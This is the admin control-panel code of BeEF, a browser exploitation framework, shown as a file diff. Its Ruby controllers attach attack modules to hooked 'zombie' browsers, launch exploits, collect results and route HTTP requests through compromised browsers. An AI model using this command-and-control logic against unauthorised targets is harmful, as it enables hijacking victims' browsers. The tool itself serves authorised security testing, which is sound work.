command_module.session_id = hook_session_id
command_module.update_info(command_module_db_details.id) if(command_module_db_details.path.match(/^Dynamic/))
# set command module treeview display properties
command_module_friendly_name = command_module.info['Name'].downcase
command_module_category = command_module.info['Category'].downcase
# create url path and file for the command module icon
command_module_icon_path = BeEF::Extension::AdminUI::Constants::Icons::MODULE_TARGET_IMG_PATH # add icon path
case command_module.verify_target() # select the correct icon for the command module
when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
command_module_icon_path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_NOT_WORKING_IMG
command_module_status = BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY
command_module_icon_path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_USER_NOTIFY_IMG
command_module_status = BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY
when BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
command_module_icon_path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_WORKING_IMG
command_module_status = BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
when BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
command_module_icon_path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_UNKNOWN_IMG
command_module_status = BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
else
command_module_icon_path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_UNKNOWN_IMG
command_module_status = BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
end
# construct the category branch if it doesn't exist for the command module tree
if not command_modules_categories.include? command_module_category
command_modules_categories.push(command_module_category) # flag that the categor has been added
command_modules_tree_array.push({ # add the branch structure
'text' => command_module_category,
'cls' => 'folder',
'children' => []
})
end
# construct leaf node for the command module tree
leaf_node = {
'text' => command_module_friendly_name,
'leaf' => true,
'icon' => command_module_icon_path,
'status' => command_module_status,
'id' => command_module_db_details.id
}
# add the node to the branch in the command module tree
command_modules_tree_array.each {|x|
if x['text'].eql? command_module_category
x['children'].push( leaf_node )
break
end
}
}
# sort the parent array nodes
command_modules_tree_array.sort! {|a,b| a['text'] <=> b['text']}
# sort the children nodes by status then alpha
command_modules_tree_array.each {|x|
x['children'] = x['children'].sort_by {|a| [a['status'], a['text']]}
}
# append the number of command modules so the branch name results in: "<category name> (num)"
command_modules_tree_array.each {|command_module_branch|
num_of_command_modules = command_module_branch['children'].length
command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
}
# return a JSON array of hashes
@body = command_modules_tree_array.to_json
end
# Returns the absolute path of the rb file mapped to the id in the database
def get_command_module_path(command_module_id)
# get command_module from database
raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil?
command_module = BeEF::Core::Models::CommandModule.first(:id => command_module_id)
raise WEBrick::HTTPStatus::BadRequest, "Invalid command_module id" if command_module.nil?
# Dynamic modules won't have a real path
return command_module.path if (command_module.path.match(/^Dynamic/))
# construct command_module path
absolute_command_module_path = $root_dir+File::SEPARATOR+command_module.path
raise WEBrick::HTTPStatus::BadRequest, "command_module file does not exist" if not File.exists?(absolute_command_module_path)
absolute_command_module_path
end
# Returns the inputs definition of an command_module.
def select_command_module
# get command_module id
command_module_id = @params['command_module_id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "command_module_id is nil" if command_module_id.nil?
# get the command_module path
absolute_command_module_path = get_command_module_path(command_module_id)
# check if the request relates to a dynamic module
if(absolute_command_module_path.match(/^Dynamic/))
# get command_module id
payload_name = @params['payload_name'] || nil
if not payload_name.nil?
@body = dynamic_payload2json(command_module_id, payload_name)
else
@body = dynamic_modules2json(command_module_id);
end
else
@body = command_modules2json([absolute_command_module_path]);
end
end
# Returns the list of commands for an command_module
def select_command_module_commands
commands = []
i=0
# get params
zombie_session = @params['zombie_session'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil?
command_module_id = @params['command_module_id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil?
# validate nonce
nonce = @params['nonce'] || nil
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
# get the browser id
zombie = Z.first(:session => zombie_session)
raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil?
zombie_id = zombie.id
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_id.nil?
C.all(:command_module_id => command_module_id, :hooked_browser_id => zombie_id).each do |command|
commands.push({
'id' => i,
'object_id' => command.id,
'creationdate' => Time.at(command.creationdate.to_i).strftime("%Y-%m-%d %H:%M").to_s,
'label' => command.label
})
i+=1
end
@body = {
'success' => 'true',
'commands' => commands}.to_json
end
# Attaches an command_module to a zombie.
def attach_command_module
definition = {}
# get params
zombie_session = @params['zombie_session'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_session.nil?
command_module_id = @params['command_module_id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil?
# validate nonce
nonce = @params['nonce'] || nil
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
@params.keys.each {|param|
raise WEBrick::HTTPStatus::BadRequest, "invalid key param string" if not BeEF::Filters.has_valid_param_chars?(param)
raise WEBrick::HTTPStatus::BadRequest, "first char is num" if BeEF::Filters.first_char_is_num?(param)
definition[param[4..-1]] = params[param]
oc = BeEF::Core::Models::OptionCache.first_or_create(:name => param[4..-1])
oc.value = params[param]
oc.save
}
zombie = Z.first(:session => zombie_session)
raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil?
zombie_id = zombie.id
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_id.nil?
C.new( :data => definition.to_json,
:hooked_browser_id => zombie_id,
:command_module_id => command_module_id,
:creationdate => Time.new.to_i
).save
@body = '{success : true}'
end
# Re-execute an command_module to a zombie.
def reexecute_command_module
# get params
command_id = @params['command_id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil?
command = BeEF::Core::Models::Command.first(:id => command_id.to_i) || nil
raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil?
# validate nonce
nonce = @params['nonce'] || nil
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
command.has_run = false#TODO: there's a bug here. Need to recode this function.
command.save
@body = '{success : true}'
end
def attach_dynamic_command_module
definition = {}
# get params
zombie_session = @params['zombie_session'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_session.nil?
command_module_id = @params['command_module_id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil?
# validate nonce
nonce = @params['nonce'] || nil
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
@params.keys.each {|param|
raise WEBrick::HTTPStatus::BadRequest, "invalid key param string" if not BeEF::Filters.has_valid_param_chars?(param)
raise WEBrick::HTTPStatus::BadRequest, "first char is num" if BeEF::Filters.first_char_is_num?(param)
definition[param[4..-1]] = params[param]
oc = BeEF::Core::Models::OptionCache.first_or_create(:name => param[4..-1])
oc.value = params[param]
oc.save
}
zombie = Z.first(:session => zombie_session)
raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil?
zombie_id = zombie.id
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_id.nil?
mod = BeEF::Core::Models::CommandModule.first(:id => command_module_id)
# if the module id is not in the database return false
return {'success' => 'false'}.to_json if(not mod)
# the path will equal Dynamic/<type> and this will get just the type
dynamic_type = mod.path.split("/").last
e = BeEF::Core::Command.const_get(dynamic_type.capitalize).new
e.update_info(command_module_id)
e.update_data()
ret = e.launch_exploit(definition)
return {'success' => 'false'}.to_json if ret['result'] != 'success'
basedef = {}
basedef['sploit_url'] = ret['uri']
C.new( :data => basedef.to_json,
:hooked_browser_id => zombie_id,
:command_module_id => command_module_id,
:creationdate => Time.new.to_i
).save
@body = '{success : true}'
end
# Returns the results of a command
def select_command_results
results = []
# get params
command_id = @params['command_id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil?
command = BeEF::Core::Models::Command.first(:id => command_id.to_i) || nil
raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil?
# get command_module
command_module = BeEF::Core::Models::CommandModule.first(:id => command.command_module_id)
raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil?
command_module_name = command_module.path.split('/').reverse[1]
#command_module_name = File.basename command_module.path, '.rb'
resultsdb = BeEF::Core::Models::Result.all(:command_id => command_id)
raise WEBrick::HTTPStatus::BadRequest, "Command id result is nil" if resultsdb.nil?
resultsdb.each{ |result| results.push({'date' => result.date, 'data' => JSON.parse(result.data)}) }
@body = {
'success' => 'true',
'command_module_name' => command_module_name,
'command_module_id' => command_module.id,
'results' => results}.to_json
end
# Returns the definition of a command.
# In other words it returns the command that was used to command_module a zombie.
def select_command
# get params
command_id = @params['command_id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil?
command = BeEF::Core::Models::Command.first(:id => command_id.to_i) || nil
raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil?
command_module = BeEF::Core::Models::CommandModule.first(:id => command.command_module_id)
raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil?
command_module_name = command_module.path.split('/').reverse[1]
#command_module_name = File.basename command_module.path, '.rb'
e = BeEF::Core::Command.const_get(command_module_name.capitalize).new
@body = {
'success' => 'true',
'command_module_name' => command_module_name,
'command_module_id' => command_module.id,
'data' => JSON.parse(command.data),
'definition' => JSON.parse(e.to_json)
}.to_json
end
private
# Takes a list of command_modules and returns them as a JSON array
def command_modules2json(command_modules)
command_modules_json = {}
i = 1
command_modules.each do |command_module|
next if not File.exists?(command_module)
e = command_module.split('/').reverse[1]
#e = File.basename command_module, '.rb'
e = BeEF::Core::Command.const_get(e.capitalize).new
command_modules_json[i] = JSON.parse(e.to_json)
i += 1
end
if not command_modules_json.empty?
return {'success' => 'true', 'command_modules' => command_modules_json}.to_json
else
return {'success' => 'false'}.to_json
end
end
# return the input requred for the module in JSON format
def dynamic_modules2json(id)
command_modules_json = {}
mod = BeEF::Core::Models::CommandModule.first(:id => id)
# if the module id is not in the database return false
return {'success' => 'false'}.to_json if(not mod)
# the path will equal Dynamic/<type> and this will get just the type
dynamic_type = mod.path.split("/").last
e = BeEF::Core::Command.const_get(dynamic_type.capitalize).new
e.update_info(mod.id)
e.update_data()
command_modules_json[1] = JSON.parse(e.to_json)
if not command_modules_json.empty?
return {'success' => 'true', 'dynamic' => 'true', 'command_modules' => command_modules_json}.to_json
else
return {'success' => 'false'}.to_json
end
end
def dynamic_payload2json(id, payload_name)
command_modules_json = {}
dynamic_command_module = BeEF::Core::Models::CommandModule.first(:id => id)
raise WEBrick::HTTPStatus::BadRequest, "Module does not exists" if dynamic_command_module.nil?
# the path will equal Dynamic/<type> and this will get just the type
dynamic_type = dynamic_command_module.path.split("/").last
# get payload options in JSON
e = BeEF::Core::Command.const_get(dynamic_type.capitalize).new
payload_options_json = []
payload_options_json[1] = e.get_payload_options(payload_name)
raise WEBrick::HTTPStatus::BadRequest, "Payload JSON generation error" if payload_options_json.empty?
return {'success' => 'true', 'command_modules' => payload_options_json}.to_json
end
end
end
end
end
end

View File

@@ -0,0 +1,48 @@
<html>
<head>
<title>BeEF Control Panel</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<%= script_tag 'ext-base.js' %>
<%= script_tag 'ext-all.js' %>
<%= script_tag 'ext-beef.js' %>
<%= script_tag 'ux/TabCloseMenu.js' %>
<%= script_tag 'ux/StatusBar.js' %>
<%= script_tag 'ux/PagingStore.js' %>
<%= script_tag 'ui/panel/common.js' %>
<%= script_tag 'ui/panel/DistributedEngine.js' %>
<%= script_tag 'ui/panel/PanelStatusBar.js' %>
<%= script_tag 'ui/panel/tabs/ZombieTabDetails.js' %>
<%= script_tag 'ui/panel/tabs/ZombieTabLogs.js' %>
<%= script_tag 'ui/panel/tabs/ZombieTabCommands.js' %>
<%= script_tag 'ui/panel/tabs/ZombieTabRequester.js' %>
<%= script_tag 'ui/panel/PanelViewer.js' %>
<%= script_tag 'ui/panel/DataGrid.js' %>
<%= script_tag 'ui/panel/MainPanel.js' %>
<%= script_tag 'ui/panel/ZombieTab.js' %>
<%= script_tag 'ui/panel/ZombieTabs.js' %>
<%= script_tag 'ui/panel/zombiesTreeList.js' %>
<%= script_tag 'ui/panel/ZombiesMgr.js' %>
<%= script_tag 'ui/panel/Logout.js' %>
<%= script_tag 'ui/panel/WelcomeTab.js' %>
<%= stylesheet_tag 'ext-all.css' %>
<%= stylesheet_tag 'base.css' %>
</head>
<body>
<%= nonce_tag %>
<div id="header">
<div class="right-menu">
<a id='do-logout-menu' href='#'>Logout</a>
</div>
</div>
</body>
</html>

View File

@@ -0,0 +1,91 @@
module BeEF
module Extension
module AdminUI
module Controllers
#
#
#
class Panel < BeEF::Extension::AdminUI::HttpController
def initialize
super({
'paths' => {
'/' => method(:index),
'/hooked-browser-tree-update.json' => method(:hooked_browser_tree_update)
}
})
end
# default index page
def index; end
# return a JSON object contains all the updates for the hooked browser trees
def hooked_browser_tree_update
# retrieve the hbs that are online
hooked_browsers_online = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 30)))
# retrieve the hbs that are offline
hooked_browsers_offline = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 30)))
# retrieve the distributed engine rules that are enabled
distributed_engine_rules = distributed_engine_rules_2_json_simple(BeEF::Core::DistributedEngine::Models::Rules.all(:enabled => true))
# hash that gets populated with all the information for the hb trees
ret = {
'success' => true,
# the list of hb
'hooked-browsers' => {
'online' => hooked_browsers_online,
'offline' => hooked_browsers_offline
},
# the rules for the distributed engine
'ditributed-engine-rules' => distributed_engine_rules
}
@body = ret.to_json
end
# Takes a list distributed engine rules and format the results into JSON
def distributed_engine_rules_2_json_simple(rules)
end
# Takes a list of zombies and format the results in a JSON array.
def zombies2json_simple(zombies)
zombies_hash = {}
i = 0
zombies.each do |zombie|
# create hash of zombie details
zombies_hash[i] = (get_simple_hooked_browser_hash(zombie))
i+=1
end
zombies_hash
end
# create a hash of simple hooked browser details
def get_simple_hooked_browser_hash(hooked_browser)
browser_icon = BeEF::Extension::Initialization::Models::BrowserDetails.browser_icon(hooked_browser.session)
os_icon = BeEF::Extension::Initialization::Models::BrowserDetails.os_icon(hooked_browser.session)
domain = BeEF::Extension::Initialization::Models::BrowserDetails.get(hooked_browser.session, 'HostName')
return {
'session' => hooked_browser.session,
'ip' => hooked_browser.ip,
'domain' => domain,
'browser_icon' => browser_icon,
'os_icon' => os_icon
}
end
end
end
end
end
end

View File

@@ -0,0 +1,149 @@
module BeEF
module Extension
module AdminUI
module Controllers
#
# HTTP Controller for the Requester component of BeEF.
#
class Requester < BeEF::Extension::AdminUI::HttpController
# Variable representing the Http DB model.
H = BeEF::Core::Models::Http
def initialize
super({
'paths' => {
'/send' => method(:send_request),
'/history.json' => method(:get_zombie_history),
'/response.json' => method(:get_zombie_response)
}
})
end
# Send a new http request to the hooked browser.
def send_request
# validate that the hooked browser's session has been sent
zombie_session = @params['zombie_session'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Invalid session id" if not BeEF::Filters.is_valid_hook_session_id?(zombie_session)
# validate that the hooked browser exists in the db
zombie = Z.first(:session => zombie_session) || nil
raise WEBrick::HTTPStatus::BadRequest, "Invalid hooked browser session" if zombie.nil?
# validate that the raw request has been sent
raw_request = @params['raw_request'] || nil
raise WEBrick::HTTPStatus::BadRequest, "raw_request is nil" if raw_request.nil?
raise WEBrick::HTTPStatus::BadRequest, "raw_request contains non-printable chars" if not BeEF::Filters.has_non_printable_char?(raw_request)
# validate nonce
nonce = @params['nonce'] || nil
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
# validate that the raw request is correct and can be used
req_parts = raw_request.split(/ |\n/) # break up the request
verb = req_parts[0]
raise 'Only GET or POST requests are supported' if not BeEF::Filters.is_valid_verb?(verb) #check verb
uri = req_parts[1]
raise 'Invalid URI' if not BeEF::Filters.is_valid_url?(uri) #check uri
version = req_parts[2]
raise 'Invalid HTTP version' if not BeEF::Filters.is_valid_http_version?(version) # check http version - HTTP/1.0
host_str = req_parts[3]
raise 'Invalid HTTP version' if not BeEF::Filters.is_valid_host_str?(host_str) # check host string - Host:
host = req_parts[4]
host_parts = host.split(/:/)
hostname = host_parts[0]
raise 'Invalid hostname' if not BeEF::Filters.is_valid_hostname?(hostname) #check the target hostname
hostport = host_parts[1] || nil
if !hostport.nil?
raise 'Invalid hostport' if not BeEF::Filters.nums_only?(hostport) #check the target hostport
end
# (re)build the request
green_request = StringIO.new(verb + " " + uri + " " + version + "\n" + host_str + " " + host)
request = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP)
request.parse(green_request)
# Saves the new HTTP request.
http = H.new(
:request => raw_request,
:method => request.request_method,
:domain => request.host,
:path => request.unparsed_uri,
:date => Time.now,
:hooked_browser_id => zombie.id
)
if request.request_method.eql? 'POST'
http.content_length = request.content_length
end
http.save
@body = '{success : true}'
end
# Returns a JSON object containing the history of requests sent to the zombie.
def get_zombie_history
# validate nonce
nonce = @params['nonce'] || nil
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
# validate that the hooked browser's session has been sent
zombie_session = @params['zombie_session'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil?
# validate that the hooked browser exists in the db
zombie = Z.first(:session => zombie_session) || nil
raise WEBrick::HTTPStatus::BadRequest, "Invalid hooked browser session" if zombie.nil?
history = []
H.all(:hooked_browser_id => zombie.id).each{|http|
history << {
'id' => http.id,
'domain' => http.domain,
'path' => http.path,
'has_ran' => http.has_ran,
'date' => http.date
}
}
@body = {'success' => 'true', 'history' => history}.to_json
end
# Returns a JSON objecting containing the response of a request.
def get_zombie_response
# validate nonce
nonce = @params['nonce'] || nil
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
# validate the http id
http_id = @params['http_id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "http_id is nil" if http_id.nil?
# validate that the http object exist in the dabatase
http_db = H.first(:id => http_id) || nil
raise WEBrick::HTTPStatus::BadRequest, "http object could not be found in the database" if http_db.nil?
res = {
'id' => http_db.id,
'request' => http_db.request,
'response' => http_db.response,
'domain' => http_db.domain,
'path' => http_db.path,
'date' => http_db.date,
'has_ran' => http_db.has_ran
}
@body = {'success' => 'true', 'result' => res}.to_json
end
end
end
end
end
end

View File

@@ -0,0 +1,31 @@
module BeEF
module Extension
module AdminUI
extend BeEF::API::Extension
@full_name = 'administration web UI'
@short_name = 'admin_ui'
@description = 'command control panel for beef using a web interface'
end
end
end
# Constants for that extension
require 'extensions/admin_ui/constants/agents'
require 'extensions/admin_ui/constants/icons'
# Classes
require 'extensions/admin_ui/classes/httpcontroller'
require 'extensions/admin_ui/classes/session'
# Handlers
require 'extensions/admin_ui/handlers/media'
require 'extensions/admin_ui/handlers/ui'
# API Hooking
require 'extensions/admin_ui/api/command'
require 'extensions/admin_ui/api/handler'

View File

@@ -0,0 +1,27 @@
module BeEF
module Extension
module AdminUI
module Handlers
class MediaHandler < WEBrick::HTTPServlet::FileHandler
def do_GET(req, res)
super
# set content types
res.header['content-type']='text/html' # default content type for all pages
res.header['content-type']='text/javascript' if req.path =~ /.json$/
res.header['content-type']='text/javascript' if req.path =~ /.js$/
res.header['content-type']='text/css' if req.path =~ /.css$/
res.header['content-type']='image/png' if req.path =~ /.png$/
res.header['content-type']='image/gif' if req.path =~ /.gif$/
res.header['content-type']='text/xml' if req.path =~ /.xml$/
end
end
end
end
end
end

View File

@@ -0,0 +1,51 @@
#
# Generic Http Handler that extensions can use to register http
# controllers into the framework.
#
module BeEF
module Extension
module AdminUI
module Handlers
class UI < WEBrick::HTTPServlet::AbstractServlet
attr_reader :guard
#
# Constructor
#
def initialize(config, klass)
super
@guard = Mutex.new
@klass = BeEF::Extension::AdminUI::Controllers.const_get(klass.to_s.capitalize)
end
#
# Retrieves the request and forwards it to the controller
#
def do_GET(request, response)
@request = request
@response = response
controller = nil
@guard.synchronize {
controller = @klass.new
controller.run(@request, @response)
}
response.header.replace(controller.headers)
response.body = controller.body.to_s
end
private
@request
@response
alias do_POST do_GET
end
end
end
end
end

View File

@@ -0,0 +1,93 @@
#header .right-menu {
float: right;
margin: 10px;
word-spacing: 5px;
font: 11px arial, tahoma, verdana, helvetica;
color:#000;
}
#header a:link,
#header a:visited {
color:#000;
text-decoration:underline;
}
.x-grid3-cell-inner, .x-grid3-hd-inner {
white-space: normal; /* changed from nowrap */
}
.x-grid-empty {
text-align:left;
}
.feed-icon {
display: none;
}
#zombie-tree-tabs-panel .x-tab-panel-header {
font: 11px tahoma,arial,helvetica,sans-serif;
padding: 0 0 0 0;
border-bottom: none;
text-align: center;
}
/*
* Status bar
****************************************/
.x-statusbar .x-status-busy,
.x-statusbar .x-status-error,
.x-statusbar .x-status-valid {
background: transparent no-repeat 3px 2px;
padding-left: 25px !important;
padding-bottom: 2px !important;
}
.x-statusbar .x-status-busy {
background-image: url(../images/statusbar/loading.gif);
}
.x-statusbar .x-status-error {
color: #C33;
background-image: url(../images/statusbar/exclamation.gif);
}
.x-statusbar .x-status-valid {
background-image: url(../images/statusbar/accept.png);
}
.x-tree-node-leaf .x-tree-node-icon {
width: 13px;
height: 13px;
padding-top: 3px;
}
/*
* Ext.beef.msg
****************************************/
.msg .x-box-mc {
font-size:14px;
}
#msg-div {
position:absolute;
left:35%;
top:20px;
width:250px;
z-index:20000;
}
/*
* Exploit Panel
****************************************/
.x-form-item-label, .x-form-element {
font: 11px tahoma,arial,helvetica,sans-serif;
}
.command-module-panel-description {
margin-bottom: 10px;
padding-top: 4px;
}
label {
font: 11px tahoma,arial,helvetica,sans-serif;
}

File diff suppressed because it is too large Load Diff

Binary file not shown.

After

Width:  |  Height:  |  Size: 1010 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1005 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 810 B

Some files were not shown because too many files have changed in this diff Show More